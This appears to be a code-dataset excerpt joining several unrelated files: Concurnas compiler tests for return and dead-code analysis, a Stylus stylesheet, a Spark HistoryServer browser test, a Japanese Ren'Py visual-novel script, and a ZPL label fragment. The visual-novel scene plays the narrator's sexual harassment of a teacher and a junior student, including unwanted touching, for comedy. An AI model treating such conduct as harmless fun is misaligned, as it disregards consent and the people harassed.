//##69. Returns - 3. return must be possible - simple exceptions
def fooAhItNoFail1() int
{//doesnt fail
try{ return 6 } finally { }
}
def fooAhItNoFail2() int
{//doesnt fail
try{ return 6 }
finally { }
}
def fooFail3() int
{
try{ return 6 }
catch(e Exception) {}
}
def fooFail4() int //this doesnt fail because return always in finally block
{
try{ return 6 }
catch(e Exception) {}
finally{} return 55
}
def fooFail5() int
{
try{ return 6 }
catch(e Exception) {return 66 }
}
def fooOKFailUnreach() int{
try{ return 6 } catch(e Exception) {return 66 }
return 7
}
def fooOK() int{
try{ return 6 } catch(e Exception) {return 66 }
}
def fooOK2() int{
try{ return 6 } finally { }
}
def fooOK3FailUnreach() int
{
try{ return 6 }catch(e Exception) {return 66 }
return 2
}
def fooOK3() int
{
try{ return 6 }catch(e Exception) {return 66 }
}
~~~~~
//##69. Returns - 4. deadcode analysis 1
def fail1() int
{
return 69;
a = 8;
}
def fail2() int
{
{ return 69; }
a = 8;
}
def fail3() int
{
throw new Exception("");
return 8;
}
def fail4() int
{
{throw new Exception("");}
return 8;
}
def s() {5>6 } def fail5() int
{
if(s()){throw new Exception("")}
else {throw new Exception("") }
return 8;
}
def fail6() int
{
if(s())
{
if(s()){throw new Exception("")}
else {throw new Exception("") }
}
else{
throw new Exception("");
}
return 8;
}
def fail7() int
{
try
{
if(s()){throw new Exception("")}
else {throw new Exception("") }
}
finally
{
throw new Exception("")
}
return 8;
}
def ok1() int
{
try
{
if(s()){throw new Exception("")}
else {throw new Exception("") }
}
catch(e Exception)
{
}
return 8;
}
def ok2() int
{
try
{
if(s()){throw new Exception("")}
else {throw new Exception("") }
}
catch(e Exception)
{
}
return 8;
}
~~~~~
//##69. Returns - 4. oh yeah, lambdas
def s() {5>6 }
xxx = def () int { if(s()){ return 6 } else { } }
~~~~~
//##69. Returns - on other special stuff..
//good enough for now but may need to fix this in the future
def aa() int{
for(a in [1,2,3]) {//TODO: throws the wrong exception, should be - This method must return a result of type INT, problem with is last thing ret type logic
return a//ERROR as for etc dont complete returns
}
}
def ggg() int{
try(null) {
return 6; //with does! complete returs
}
}
def ggg2() int{
try(null) {
//back to fail
}
}
def fail() int
{
try(null)
{
throw new Exception("")
}
return 6//cannot reach this!
}
def fail2() int
{
sync{throw new Exception("")}
return 6 //no!
}
~~~~~
//##69. Returns-deadcode - in classes and also nested functions et al
def s() {5>6 }class Fail1
{
def xx() int
{
if(s())
{
return 6;
}
}//fail
}
class ok1
{
def xx() int
{
if(s())
{
return 6;
} return 7
}
}
class Fail2
{
def xx() int
{
def inner() int
{
//also fail here as inner
}
return 6
}
}
class ok2
{
def xx() int
{
def inner() int
{
return 7
}
return 6
}
}
class Fail3
{
def xx() int
{
for(a in [1,2,3])
{
throw new Exception("")
g = 8//err - deadcode
}
return 6//this is not deadcode
}
}
class Fail4
{
def xx() int
{
for(a in [1,2,3])
{
return 8
g = 8//err - deadcode
}
return 6
}
}
~~~~~
//##69. Returns-deadcode - 2 after break and cotinue
def Fail1() {
for(a in [1,2,3]) {
break;
g = 9 //no!
}
}
def Fail2() {
for(a in [1,2,3]) {
continue;
g = 9
}
}
def s() {5>6 }def OK() {
for(a in [1,2,3]) {
if(s())
{
break;
}
g = 9 //no!
}
}
def Failcomplex3() {
for(a in [1,2,3]) {
if(s())
{
break;
}
else
{
continue;
}
g = 9 //no!
}
}
~~~~~
//##69. break etc dont bleed beyond the for block, or while etc
def OK() int
{
for(a in [1,2,3]) {
break;
}
g int = 57
return g
}
def OK2() int
{
while(true) {
break;
}
g int= 57
return g
}
def FAILreallywillbreak() int
{
for(a in [1,2,3]) {
try{ break; } finally { }
kk=8
}
g int = 57
return g
}
~~~~~
//##69. exceptions thrown in try catch make stuff unreachable
def exceper(n int) String {
ret = "";
try{
ret = "mainBlock";
//thrower()
throw new Exception("Dd2d")
h=9 //unreachable
}
catch(e Exception)
{
ret = "excep";
}
return ret;
}
~~~~~
//##70. double check returns inside lambda
//expected to all be ok
def one(a int) int{
a+3; //missing ret
}
lam = def (a int) int{
a+3; //missing ret
}
def retLambda() (int) int{
x = def (a int) int { a + 12;}
return def (a int) int { a + 12;}
}
~~~~~
//##71. unreachable code after exception raised inside catch block
class A<T> with Cloneable, java.io.Serializable {
//length int = X ;
override clone() T[] {
try {
return super.clone() as T[]; // unchecked warning
} catch (e CloneNotSupportedException) {
throw new InternalError(e.getMessage());
}
return null;//should be tagged as unreachable code
}
}
class B<T> with Cloneable, java.io.Serializable {//this variant is ok
override clone() T[] {
try {
return super.clone() as T[]; // unchecked warning
} catch (e CloneNotSupportedException) {
throw new InternalError(e.getMessage());
}
}
}
~~~~~
//##72. this is fine
def doings() String {
try{
return ""
}
finally{
}
}
~~~~~
//##73. this is also fine
cnt = 0;
def s() {5>6 }def mycall(fail boolean) int {
if(fail){
throw new Exception("ee");
}
else{ return ++cnt; }
}
def mycall2(fail boolean) int { //if stmt throws an exception, so no ret necisary really
if(fail){
throw new Exception("ee");
}
elif(s()){
return 77
}
else{ return ++cnt; }
}
~~~~~
//##74. defo returns in all catches means all returns
def testMethAlwaysThrows1(fail1 boolean) int {
try{
if(fail1){ throw new Exception("") }
else { throw new Exception("") }
}
catch(e Exception){
return 12
}
catch(e Throwable){
return 12
}
//return 99
}
~~~~~
//##75. defo returns in some catches not all return
def testMethAlwaysThrows1(fail1 boolean) int {
try{
if(fail1){ throw new Exception("") }
else { throw new Exception("") }
}
catch(e Exception){
}
catch(e Throwable){
return 12
}
return 99
}
~~~~~
//##76.1 misc
def tcFail1() { //synthetic return doesnt trigger inf loop
x=1
for (;;) { a=1}
}
~~~~~
//##76.1.1 inifinite loop - for - on own
def failola() String{
for (;;) { a=1}
"odd"//never gets here
}
~~~~~
//##76.1.2 inifinite loop - for - tcf
def tcFail1() String{
try {
for (;;) { a=1}//defo goes here
} catch (e Error) {
System.out.println(e + ", " + (1==1));
}
"uh oh"
}
def tcFail2() String{
try {
x="uh oh"
} catch (e Error) {
f=9
}
finally{
for (;;) { a=1}//defo goes here
}
"odd"
}
def tcOk() String{
try {
x="uh oh"
} catch (e Error) {//may not go into
for (;;) { a=1}
}
"odd"
}
~~~~~
//##76.1.3 inifinite loop - for - if
def s() {5>6 }def tcFail1() String{
if( s()){
for (;;) { a=1}//defo goes here
}else{
for (;;) { a=1}//defo goes here
}
"uh oh"
}
def tcFail2() String{
if( s()){
for (;;) { a=1}//defo goes here
}elif( s()){
for (;;) { a=1}//defo goes here
}else{
for (;;) { a=1}//defo goes here
}
"uh oh"
}
def tcOk() String{
if( s()){
for (;;) { a=1}//defo goes here
}
"uh oh"
}
~~~~~
//##76.1.4 inifinite loop - for - for old
def tcFail1() String{
for( n=0; n < 10; n++){
for (;;) { a=1}//defo goes here
}
"uh oh"
}
~~~~~
//##76.1.5 inifinite loop - for - for old
def tcFail1() String{
for( n=0; {for (;;) { a=1}; n < 10}; n++){
a=9//defo goes here
}
"uh oh"
}
~~~~~
//##76.1.5.b inifinite loop - for - for old cond
n=9
def tcFail1() String{
for( n=0; {for (;2>1;) { a=1}; n < 10}; n++){
a=9//defo goes here
}
"uh oh"
}
~~~~~
//##76.1.6 inifinite loop - for - for new
def tcFail1() String{
for( x in [1,2,3] ){
for (;;) { a=1}//defo goes here
}
"uh oh"
}
def fine() {
for( x in [1,2,3] ){
for (;;) { a=1}//a ok
}
}
~~~~~
//##76.1.7 inifinite loop - for - while
f = false
def aOK() {
while(f){
for (;;) { a=1}//defo goes here
}
}
def fail() {
while(f){
for (;;) { a=1}//defo goes here
}
"oh no"
}
~~~~~
//##76.1.8 inifinite loop - for - ananon block
def failos() String {
{
for (;;) { a=1}//defo goes here
}
"oh no"
//return
}
~~~~~
//##76.1.9 inifinite loop - for - async block
def compok1() String {
{
for (;;) { a=1}//defo goes here
}!
"oh no"
//return
}
~~~~~
//##76.1.10 inifinite loop - for - barrier block and with block
def compok1() String {
sync{
for (;;) { a=1}//defo goes here
}//and same for with but no test so meh! //its not an inf loop though...
"oh no"
//return
}
~~~~~
//##76.1.1 inifinite loop - while - goes on forever cases
//dont bother testing inside for loops etc, the code is the same
def forever1() String {
while(true) { }
"oh no"//goes on forever
}
def forever2() String {
while(true or false) { }
"oh no"//goes on forever
}
def forever3() String {
while(not false) { }
"oh no"//goes on forever
}
def forever4() String {
while(true and true) { }
"oh no"//goes on forever
}
~~~~~
//##77. misc bug, last thing ret doesnt have to be an expression
b={[1,1]}!
def doings() String{
j1 = ++b[0] //not an expression, thus fail
}
~~~~~
//##78. onchange return analysis at least one must return here
def doings() {
xs int:
log := ""
res = onchange(xs){
log += xs
if(xs==6){
log += " go into so ret"
break//just escapes with no write to var
}
log += " got ret 9"
return
}
xs=24
await(log;log=="24 got ret 9")
xs=6
await(log;log=="24 got ret 96 go into so ret")
"" + [res, log]
}
~~~~~
//##79. await validation for ret
def doings() {
xs int: = 6
await(xs;{ if(xs==6) {return 2}; true})//fail
"" + xs
}
~~~~~
//##80. await validation for ret -2
def doings() {
xs int: = 6
await(xs;{ if(xs==6) {return }; true})//fail - must define something
"" + xs
}
~~~~~
//##81. this inf loop triggers no deadcode
from com.concurnas.runtime.channels import PriorityQueue
def doings(){
pq = PriorityQueue<String?>()
isDone:=false
cnt:=0
{
while(true)
{
got = pq.pop()
cnt++;
if(null == got){
isDone = true
}
}
}!
pq.add(1, "one")
pq.add(1, null)
await(isDone;isDone)
"nice " + cnt
}
~~~~~
//##82. if statement resolves always to true or false
def something() => false
class Myc()
def t1(){
if(true){a=""}
}
def t2(){
if(false){a=""}
}
def t3(){
if(true){""}elif(something()){""} else{""}
}
def t4(){
if(false){""}elif(something()){""} else{""}
}
def t5(){
if(something()){a=""}elif(true){a=""}
}
def t6(){
if(something()){a=""}elif(false){a=""}
}
def t7(){
if(something()){a=""}elif(true){a=""} else{a=""}
}
def t8(){
if(something()){a=""}elif(false){a=""} else{a=""}
}
def doings(){
""
}
~~~~~
//##83. if expresssion resolves always to true or false
def d1(){
x = 1 if true else 2
}
def d2(){
x = 1 if false else 2
}
def doings() => "ok"
~~~~~
//##84. impossible to assign on paths which return dont invalidate
def fff() => false
def doings(){
a String
if(fff()){
a = "ok"
}else{
return 'ok'//a is not set but it doesnt matter as if we get to this path
//we have returned already
}
a
}
| Augeas | 2 | michaeldesu/Concurnas | tests/com/concurnas/compiler/returnAnalysis/returnTests.conc.aug | [
"MIT"
] |
.infinity
height: 100%
.template
display: none
.infinity-timeline
position: relative
height: 100%
padding: 0 10px
border: 1px solid #ccc
overflow: hidden
will-change: transform
background-color: #efeff5
.infinity-timeline > ul
position: relative
-webkit-backface-visibility: hidden
-webkit-transform-style: flat
.infinity-item
display: flex
left: 0
padding: 10px 0
width: 100%
contain: layout
will-change: transform
list-style: none
.infinity-avatar
border-radius: 500px
margin-left: 20px
margin-right: 6px
min-width: 48px
.infinity-item
p
margin: 0
word-wrap: break-word
font-size: 13px
.infinity-item.tombstone
p
width: 100%
height: 0.5em
background-color: #ccc
margin: 0.5em 0
.infinity-bubble img
max-width: 100%
height: auto
.infinity-bubble
padding: 7px 10px
color: #333
background: #fff
/*box-shadow: 0 3px 2px rgba(0, 0, 0, 0.1)*/
position: relative
max-width: 420px
min-width: 80px
margin: 0 5px
.infinity-bubble::before
content: ''
border-style: solid
border-width: 0 10px 10px 0
border-color: transparent #fff transparent transparent
position: absolute
top: 0
left: -10px
.infinity-meta
font-size: 0.8rem
color: #999
margin-top: 3px
.infinity-from-me
justify-content: flex-end
.infinity-from-me .infinity-avatar
order: 1
margin-left: 6px
margin-right: 20px
.infinity-from-me .infinity-bubble
background: #F9D7FF
.infinity-from-me .infinity-bubble::before
left: 100%
border-width: 10px 10px 0 0
/*border-color: #F9D7FF transparent transparent transparent*/
.infinity-state
display: none
.infinity-invisible
display: none
| Stylus | 4 | cym2050/better-scroll | packages/react-examples/src/pages/infinity/index.styl | [
"MIT"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.deploy.history
import javax.servlet.http.HttpServletRequest
import org.eclipse.jetty.proxy.ProxyServlet
import org.eclipse.jetty.servlet.{ServletContextHandler, ServletHolder}
import org.openqa.selenium.WebDriver
import org.scalatest.{BeforeAndAfterAll, BeforeAndAfterEach}
import org.scalatest.matchers.must.Matchers
import org.scalatest.matchers.should.Matchers._
import org.scalatestplus.selenium.WebBrowser
import org.apache.spark._
import org.apache.spark.internal.config.{EVENT_LOG_STAGE_EXECUTOR_METRICS, EXECUTOR_PROCESS_TREE_METRICS_ENABLED}
import org.apache.spark.internal.config.History.{HISTORY_LOG_DIR, LOCAL_STORE_DIR, UPDATE_INTERVAL_S}
import org.apache.spark.internal.config.Tests.IS_TESTING
import org.apache.spark.util.{ResetSystemProperties, Utils}
/**
* Tests for HistoryServer with real web browsers.
*/
abstract class RealBrowserUIHistoryServerSuite(val driverProp: String)
extends SparkFunSuite with WebBrowser with Matchers with BeforeAndAfterAll
with BeforeAndAfterEach with ResetSystemProperties {
implicit var webDriver: WebDriver
private val driverPropPrefix = "spark.test."
private val logDir = getTestResourcePath("spark-events")
private val storeDir = Utils.createTempDir(namePrefix = "history")
private var provider: FsHistoryProvider = null
private var server: HistoryServer = null
private var port: Int = -1
override def beforeAll(): Unit = {
super.beforeAll()
assume(
sys.props(driverPropPrefix + driverProp) !== null,
"System property " + driverPropPrefix + driverProp +
" should be set to the corresponding driver path.")
sys.props(driverProp) = sys.props(driverPropPrefix + driverProp)
}
override def beforeEach(): Unit = {
super.beforeEach()
if (server == null) {
init()
}
}
override def afterAll(): Unit = {
sys.props.remove(driverProp)
super.afterAll()
}
def init(extraConf: (String, String)*): Unit = {
Utils.deleteRecursively(storeDir)
assert(storeDir.mkdir())
val conf = new SparkConf()
.set(HISTORY_LOG_DIR, logDir)
.set(UPDATE_INTERVAL_S.key, "0")
.set(IS_TESTING, true)
.set(LOCAL_STORE_DIR, storeDir.getAbsolutePath())
.set(EVENT_LOG_STAGE_EXECUTOR_METRICS, true)
.set(EXECUTOR_PROCESS_TREE_METRICS_ENABLED, true)
conf.setAll(extraConf)
provider = new FsHistoryProvider(conf)
provider.checkForLogs()
val securityManager = HistoryServer.createSecurityManager(conf)
server = new HistoryServer(conf, provider, securityManager, 18080)
server.initialize()
server.bind()
provider.start()
port = server.boundPort
}
def stop(): Unit = {
server.stop()
server = null
}
test("ajax rendered relative links are prefixed with uiRoot (spark.ui.proxyBase)") {
val uiRoot = "/testwebproxybase"
System.setProperty("spark.ui.proxyBase", uiRoot)
stop()
init()
val port = server.boundPort
val servlet = new ProxyServlet {
override def rewriteTarget(request: HttpServletRequest): String = {
// servlet acts like a proxy that redirects calls made on
// spark.ui.proxyBase context path to the normal servlet handlers operating off "/"
val sb = request.getRequestURL()
if (request.getQueryString() != null) {
sb.append(s"?${request.getQueryString()}")
}
val proxyidx = sb.indexOf(uiRoot)
sb.delete(proxyidx, proxyidx + uiRoot.length).toString
}
}
val contextHandler = new ServletContextHandler
val holder = new ServletHolder(servlet)
contextHandler.setContextPath(uiRoot)
contextHandler.addServlet(holder, "/")
server.attachHandler(contextHandler)
try {
val url = s"http://localhost:$port"
go to s"$url$uiRoot"
// expect the ajax call to finish in 5 seconds
implicitlyWait(org.scalatest.time.Span(5, org.scalatest.time.Seconds))
// once this findAll call returns, we know the ajax load of the table completed
findAll(ClassNameQuery("odd"))
val links = findAll(TagNameQuery("a"))
.map(_.attribute("href"))
.filter(_.isDefined)
.map(_.get)
.filter(_.startsWith(url)).toList
// there are at least some URL links that were generated via javascript,
// and they all contain the spark.ui.proxyBase (uiRoot)
links.length should be > 4
for (link <- links) {
link should startWith(url + uiRoot)
}
} finally {
contextHandler.stop()
quit()
}
}
}
| Scala | 5 | OlegPt/spark | core/src/test/scala/org/apache/spark/deploy/history/RealBrowserUIHistoryServerSuite.scala | [
"Apache-2.0"
] |
label cca0007:
play bgm "bgm/bgm002.ogg"
#mov $bgmnow,"bgm/bgm002.ogg"
play se "se001"
call gl(0,"bgcc0008")
call vsp(0,1)
call vsp(1,0)
with wipeleft
pause (500.0/1000.0)
pause (500.0/1000.0)
"蝉がうるさい。"
"こんな暑いのに。"
"奴らはいつだって本気だ。"
太一 "「しかし」"
"どうするかな、これから。"
"屋上が炎天下となると、涼める場所はさほどない。"
"手近な教室をのぞいてみると、案の定授業中だった。"
"一年E組。"
"まちこ先生が授業をしている。"
"佐藤真智子。"
"身長173センチの長身でグラマラスなダイナマイト·ボディの持ち主でしかも美形でパリッとしていてブランドものの縁なし眼鏡が似合っていて濃紺の光沢を持ったロングヘアを――"
"しゃれっ気たっぷりにアップにしているばかりか艶めかしくつやめく肉厚の唇が魅惑的な、俺的最強生命体の一人である。"
"教職二年目。"
"俺たちと同じ年度で教師になった。"
"今ではすっかり女教師が板についている。"
"だがまちこ先生は罪深い。"
"罪っ子である。"
"その罪の多くは、シャツを内側から突き上げるふくらみに含まれていると言ってもいいだろう。"
"ボディ自体はすらりと細長いのに胸の量感はたっぷりで今にも破れるんじゃないか破れた瞬間のπモーションは何万ポリゴンで左右別々に違う動きを見せてさぞかし壮観であるに違いない――"
"という思考にどっぷり浸かってしまうほどに蠱惑的な彼女の授業を、受けている時の俺は多角的にかなりダメになる。"
"臀部はと言えばこれまた凶悪で、凶器となっている。"
"キレた14歳の少年が手にするナイフと同じほどに危険だ。"
"タイトスカートの内側という男子垂涎の空間に押し込められ、"
"『こんな狭い場所じゃあちきの美肉はリラックスできないわよ!』"
"と言わんばかりに張りつめるまろやかヒップ。"
"尻の割れ目に横筋が橋を張るほどにぱっつんぱっつんなスカートの中央に、カッターで縦の切れ目をスーッと入れたいと思ったことは五度や十度じゃない。"
"危険な女性だ。"
"悪の校長と番長らによって、妹(同校在籍の女生徒……明るく成績優秀でスポーツ万能で男女わけへだてなく人気があったりする)の弱みをネタに脅迫され性悦の極みに堕ちていきかねない。"
"そんな仏国書院的な危機から、俺はいつでも彼女を守りたいのである。"
"一年生の時、副担任になったまちこ先生に飽くなきセクハラを繰り返し、ついには授業中に泣かせてしまったうえ三日間無断欠勤をさせてしまったことが、未だに悔やまれる。"
"……そして俺は停学を食らって、先輩に 「停学君」とからかわれるようになった。"
"ま、それで親しくなったからいいんだけど。"
"さておき。"
"以来、まちこ先生と俺との接点は消滅した。"
"二年を待たずして副担が変わり、受け持ち授業からもいなくなった。"
"さらば青い思い出。"
"セクハラ、ほどほどにしておけばよかったな。"
"でもどうせ嫌われるならもっと揉んでおけばよかった、と考えてる時点で俺はもう終わってるんだろう人として。"
太一 "「ふー」"
"とにかく、このまま廊下をウロウロしてたら誰かに見つかる。"
"食券を買ってから部室に行こう。"
"完璧計画爆誕。"
"A定食は三時間目には売り切れるから、確実に食べたい時は一時間目の終わりと同時に食堂に赴くことになる。"
"それでも多少、行列はできる。"
"二時間目に遅刻してしまうこともあるわけだ。"
"こういうことが多発すると、たまに思い出したように『食券事前買い禁止令』が公布されたりする。"
"数をもっと多く用意してくれればいいのに。"
"誰もがそう思う。"
"だが無駄をはぶくためか、定食は数量限定が鉄の掟。"
"だからこんな機会を逃す手はない。"
"さすがに一限目の途中なら行列もないしな。"
call gl(0,"bgcc0009")
call vsp(0,1)
with wipeleft
"がらすきだった。"
太一 "「おばちゃん、エース定食」"
"無事に食券を買えた。"
"らくちんらくちん。"
stop bgm
call gl(0,"bgcc1010")
call vsp(0,1)
play se "se011"
with wipeleft
play bgm "bgm/bgm004.ogg"
"部室に入ると、パイプ椅子に座って雑誌を読んでいた男が顔をあげた。"
太一 "「いやいやいや、友貴先生じゃないですか」"
太一 "「こんなところで奇遇ですな。先生もアレですか? こっちの方もいける口で?」"
"小指を立てる。"
voice "vmcca0007yki000"
友貴 "「まあ……」"
"冴えない顔でそう応じる。"
"友貴は防御時のアドリブが全然きかないタイプだ。"
"コンパでは善人だが退屈な男と分類されるに違いない。"
太一 "「さぼりか? さぼりなのか?」"
voice "vmcca0007yki001"
友貴 "「そっちこそ」"
voice "vmcca0007yki002"
友貴 "「うちのクラスは自習になったんだ」"
"再び雑誌に目を戻し、パックのコーヒー牛乳をすすった。"
"なるほど。"
"それで抜け出して、ここでくつろいでるわけだ。"
"いいひと属性のくせしてワルぶりやがって。"
太一 "「食券は?」"
voice "vmcca0007yki003"
友貴 "「買ったよ」"
太一 "「やるな」"
voice "vmcca0007yki004"
友貴 "「……」"
"シカトかい。"
"なんか気が抜けた。"
"どだい放送部はキャラ的分業化が進んでいて、ツッコミ担当の友貴に悪ノリは期待できない。"
call gl(1,"bgcc0000a")
call gp(1,0,0)
call vsp(1,1)
with dissolve
"窓から外を見る。"
"強い日差し。"
太一 "「暑いな、今日も」"
voice "vmcca0007yki005"
友貴 "「冷蔵庫にもう一個あるけど」"
太一 "「80円だっけ?」"
voice "vmcca0007yki006"
友貴 "「そー」"
太一 "「もらうわ」"
hide pic1
"突き出た手に小銭を落として、備え付けの冷蔵庫を開ける。"
voice "vmcca0007yki007"
友貴 "「……あの、全部の硬貨に正倉院が刻まれているんですけど?」"
"クレームは無視して、パックをすすった。"
voice "vmcca0007yki008"
友貴 "「もう」"
"それ以上の追求はなく、気怠い時間が流れた。"
"窓際にずらりと並ぶ、様々なモニターと機材を乗せた長テーブルを見やる。"
"放送部の機材だ。"
"すぐ隣が、放送室となっている。"
"こっちは待機室で、たまり場だ。"
"電源があるのをいいことに、小型冷蔵庫を置いたりゲーム機を常備したり携帯充電器が一列に並んでいたりと校内でも屈指の無法空間となっている。"
太一 "「あれ、機材の配線外れてない?」"
voice "vmcca0007yki009"
友貴 "「新しいマシン組むから、ちょっと構成変える」"
太一 "「ふーん」"
"友貴はこれでけっこうなパソコン少年で、美希とよくCPUだのメモリだのの会話に花を咲かせている。"
"別の学校に通う一個下の可愛い彼女がいて、出会いはBBSだそうだ。"
"友貴が入院している頃、一度本人と出会ったことがある。"
"見舞いに行ったときだ。"
"彼女『あっ、あの、と、とと友貴くんがお世話になってますっっっ』"
"と頭をさげてきた制服の着こなしからして一味違う激キュートな生命体の出現に、ショックを受けた俺の記憶は未だおぼろげだ。"
"彼女……優花ちゃんは、そのあとも友貴のかいがいしく世話をしていた。"
"きっと友貴が求めれば、脱ぎたての下着だってくれるに違いなかった。"
太一 "「……………………」"
play se "se003"
with vpunch
voice "vmcca0007yki010"
友貴"「いてっ! なにすんの!?」"
太一 "「急に悔しくなって……」"
voice "vmcca0007yki011"
友貴 "「はい、なにが? わけわかんざき」"
"友貴はギャグも最高につまらない。"
"こんなヤツにあんな可愛いガー(GIRL)がひっつくなんて、間違ってる。不潔。"
voice "vfcca0007myk000"
少女 "「……っっ」"
"くすくす笑いが聞こえた。"
太一 "「あれえ、いたんだ?」"
"放送室から来たんだろう、眼鏡をかけた小柄な少女がいた。"
voice "vfcca0007myk001"
少女 "「あいかわらず先輩がたは……」"
voice "vmcca0007yki012"
友貴 "「がたって」"
"後輩の福原みゆきだった。"
太一 "「おっす。元気?」"
太一 "「おやあ? おやおやぁ?」"
voice "vfcca0007myk002"
みゆき "「な、なんです?」"
"警戒してのけぞるみゆき。"
voice "vfcca0007myk003"
みゆき "「どーせまた地味だとか言うんですよね?」"
太一 "「なんて地味っ娘なんだ」"
voice "vfcca0007myk004"
みゆき "「あああああ……」"
"少女はがくがくと震えた。"
太一 "「うーん、君はなー、どーしてこう地味なのかなー。どーして君の髪どめのゴムはすごく安そうなの? どうして眉がこんなにぽわぽわしてるの? どうしてスカートもっと短くしないの?」"
voice "vfcca0007myk005"
みゆき "「きゃあ、スカートはちょっとっ」"
太一 "「うーん」"
voice "vfcca0007myk006"
みゆき "「首筋を優しく撫でないでくださいよっ、きゃっ、耳に指入れないでぇっ!?」"
"愛撫攻撃。"
太一 "「もとはいいのにねぇ」"
voice "vfcca0007myk007"
みゆき "「えっ……?」"
太一 "「もったいない、もったいない」"
太一 "「もったいないから食ーべちゃおっと」"
voice "vfcca0007myk008"
みゆき "「は?」"
"かぷりこ"
"身をかがめて、耳にかぶりついたのでした。"
"女の子の香りがしました。"
"童話調に言っても、セクハラには違いないが。"
voice "vfcca0007myk009"
みゆき "「あわああああああああっ!!??」"
"みゆきがエクスタシーに達した(嘘)。"
voice "vmcca0007yki013"
友貴 "「……やめてあげなよ、そこのいじめっ子」"
太一 "「お、なんだなんだ、彼女がいるくせにさらにロックオンか?」"
voice "vmcca0007yki014"
友貴 "「か、関係ないだろー!」"
太一 "「このラブラチオ·スナイパーが」"
"ペッ、と吐き捨てる。"
太一 "「けど俺の恋のライフルは、いつでも地味な君を狙って―――」"
play se "se012"
"視線を移した瞬間、放送室の扉が閉まった。"
play se "se013"
"鍵がかかる。"
"みゆきはもういない。"
太一 "「ぬう」"
"素知らぬ顔で漫画を読んでいる友貴を睨む。"
太一 "「その優しさがもてる秘訣ですか?」"
voice "vmcca0007yki015"
友貴 "「はあ?」"
太一 "「まあいいや。それよりみゆきはどうしているの?」"
voice "vmcca0007yki016"
友貴 "「……おまえって後輩は平気で呼び捨てるよな」"
太一 "「だって後輩だよ?」"
"静寂。"
voice "vmcca0007yki017"
友貴 "「そういうとこ尊敬するよ」"
voice "vmcca0007yki018"
友貴 "「……福原のクラスも自習なんだってさ」"
太一 "「あー、なるなる」"
"謎がとけて興味も失せた。"
太一 "「まーた誰か弾けちゃったかな?」"
voice "vmcca0007yki019"
友貴 "「……たぶんな」"
"椅子に座り直す。"
"夏の日差しは、まだ室内には入ってこない。"
太一 "「放送部はいいよなぁ。この部屋が使えるだけでいい」"
voice "vmcca0007yki020"
友貴 "「そうだね」"
"読書中の友貴は返事も気怠い。"
太一 "「……なに読んでるの?」"
voice "vmcca0007yki021"
友貴 "「サイコマン」"
太一 "「八束が死んで、真犯人は真崎だと判明した」"
voice "vmcca0007yki022"
友貴 "「言うなよーっ!!」"
太一 "「やるかーっ!」"
voice "vmcca0007yki023"
友貴 "「もう言うなよっ、魔獣列島のオチとか絶対言うなよ!」"
太一 "「アンデルセン神父が味方のスパイでさらわれた依子を助けてくれた!」"
hide pic4
call gl(4,"sgcc0001")
call vsp(4,1)
play se "se003"
with vpunch
voice "vmcca0007yki024"
友貴 "「言うなよっ」"
太一 "「言論統制反対!」"
voice "vmcca0007yki025"
友貴"「裏切りものーっ!」"
with vpunch
太一"「エピクロス主義者っ!」"
play se "se003"
with vpunch
"もみあいに。"
"中扉が開いて、顔を出したみゆきが小さく叫んだ。"
voice "vfcca0007myk010"
みゆき "「先輩! 先生が来た!」"
call gl(0,"bgcc0010")
call gl(1,"TCST0002|TCST0001")
call vsp(1,1)
with dissolve
call gp(1,190,0)
call vsp(0,1)
call vsp(4,0)
with Dissolve(500.0/1000.0)
voice "vmcca0007yki026"
友貴 "「えっ!」"
call gl(1,"TCST0000|TCST0000")
call vsp(1,1)
with dissolve
voice "vmcca0007yki027"
友貴 "「あれ……太一?」"
"馬鹿だな、隠れが遅い。"
"俺はもう廊下側から死角になる位置に身を潜め終えた。"
"友貴はおたおたと右往左往している。"
voice "vfcca0007myk011"
みゆき "「先輩こっちこっち!」"
hide pic1
"身を低くして、友貴は放送室に逃げた。"
"みゆきと一緒に。"
"あ、そっちのが良かった……。"
"くそ、こんなことくらいで泣くな俺っ。"
play se "se012"
"扉が締まると同時に、廊下を身長190センチの筋肉が通りかかった。"
"マンモスだ。"
"萬田重蔵、通称マンモス。体罰の天才だ。"
"見つかったらただではすまない。"
"以前、奴がスチール缶を片手でピンポン玉ほどのサイズに握りつぶす瞬間を見たことがある。"
"しかもやつの体罰は、21世紀に適応していて侮れない。"
"痕跡を残さす苦痛を与える術に長けているのだ。"
"これで某婦人告訴団体ペタも恐くないって寸法さ!"
"マンモスはそれはもうピグミーマーモセット並に、恐ろしく狡猾な苦しみマッスルなのである。"
"巨体がのしのしと通り過ぎていく。"
"途中、視線を室内に向けた。"
重蔵 "「……」"
"そのまま立ち去る。"
"原始人に狩られてしまえ、と呪っておく。"
太一 "「シベリアの凍土こそ、おまえにふさわしいグレイヴヤードになるだろう」"
"身を出す。"
call gl(1,"TCST0005|TCST0004")
call gp(1,400-368/2,0)
call vsp(1,1)
with dissolve
voice "vmcca0007yki028"
友貴 "「あぶないあぶない」"
voice "vfcca0007myk012"
みゆき "「カーテンつけた方がいいですよねぇ、廊下側の窓」"
call gl(1,"TCST0000|TCST0000")
call vsp(1,1)
with dissolve
voice "vmcca0007yki029"
友貴 "「禁止されてるんだよ。学校もよくわかってるよな」"
太一 "「いい手がある」"
stop bgm
voice "vfcca0007myk013"
みゆき "「……」"
call gl(1,"TCST0003|TCST0000")
call vsp(1,1)
with dissolve
voice "vmcca0007yki030"
友貴 "「……」"
太一 "「あー、諸君らが俺をどう思っているかは知っている。だがこれはつまらないギャグではなくマジでいい手なのだ」"
voice "vfcca0007myk014"
みゆき "「どんなんです?」"
太一 "「友貴、マシン使えるようにしてくれよ。あとデジカメ」"
call gl(1,"TCST0000|TCST0000")
call vsp(1,1)
with dissolve
voice "vmcca0007yki031"
友貴 "「はーん?」"
stop bgm
#dwavestop 3
pause (500.0/1000.0)
pause (500.0/1000.0)
return
# | Ren'Py | 3 | fossabot/cross-channel_chinese-localization_project | AllPlatforms/scripts/cca/cca0007.rpy | [
"Apache-2.0"
] |
^XA
^FX Top section with logo, name and address.
^CF0,60
^FO50,50^GB100,100,100^FS
